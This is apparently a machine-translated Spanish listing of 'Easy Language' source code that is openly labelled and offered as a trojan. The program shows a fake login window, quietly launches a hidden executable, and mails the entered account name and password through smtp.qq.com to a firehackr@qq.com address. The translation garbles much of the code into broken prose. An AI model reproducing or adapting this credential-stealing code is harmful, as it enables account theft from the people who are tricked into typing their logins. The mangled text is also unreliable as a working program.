¡Código fuente troyano de fácil lenguaje! Código abierto
.Versión 2. Admite la biblioteca xplib. Biblioteca de clases de apoyo a Internet. Biblioteca de clases de soporte iext. Ventana de programa Programa 3. Subrutina _Ventana 1_Creada _Ventana de inicio .Altura = _Ventana de inicio .Altura + 218 - _Ventana de inicio .Obtener la altura del área de usuario () Estilo XP (1) Ejecutar ("C:\Program Files\Internet Explorer\le .exe", Falso, #Ocultar ventana). Se hace clic en la subrutina _Seleccionar cuadro 2_. Si (Seleccionar cuadro 2.marcado = verdadero) Seleccionar cuadro 1. marcado = verdadero. De lo contrario. Si finaliza. Se hace clic en la subrutina _Selectbox1_.si (cuadro de selección 1.marcado = falso) cuadro de selección 2.marcado = falso .else.if fin.Subrutina _TransparentLabel1_ botón izquierdo del mouse presionado, lógica.Parámetro posición horizontal, número entero.Parámetro posición vertical, número entero.Parámetro función Estado de clave, número entero para abrir la web página ("/findpsw/findpsw_index"). Subrutina _GraphicsButton2_Clicked. Las variables locales se escriben según sea necesario, el número entero comienza (cuadro de edición 1.content = "") Se escribe según sea necesario = 1 cuadro de imagen 4.visible = verdadero (. cuadro de edición 2.content = "") Escribir según sea necesario = 1 Cuadro de imagen 5.visible = verdadero (escribir según sea necesario = 0) Conéctese al servidor de correo saliente (" smtp .qq.com ", 25, "firehackr" , "0+", ) Enviar correo electrónico("firehackr", "0+", "", "", "", "", "", " ", "").) Enviar correo(" firehackr", editbox1.content + "----"+ editbox2.content + "----"+ _Launch window.ComboBox1.content, _Launch Window.Transparent Label 1. Título, , "firehackr@qq.com" , _Launch Window.TransparentLabel1.Title) end() . Predeterminado Fin del evento de subrutina _clock1_cycle Si (picturebox4.visible = true) picturebox4.visible = false . Visual = True) PictureBox5.Visual = False .De lo contrario.If end Return()
¡Acéptelo!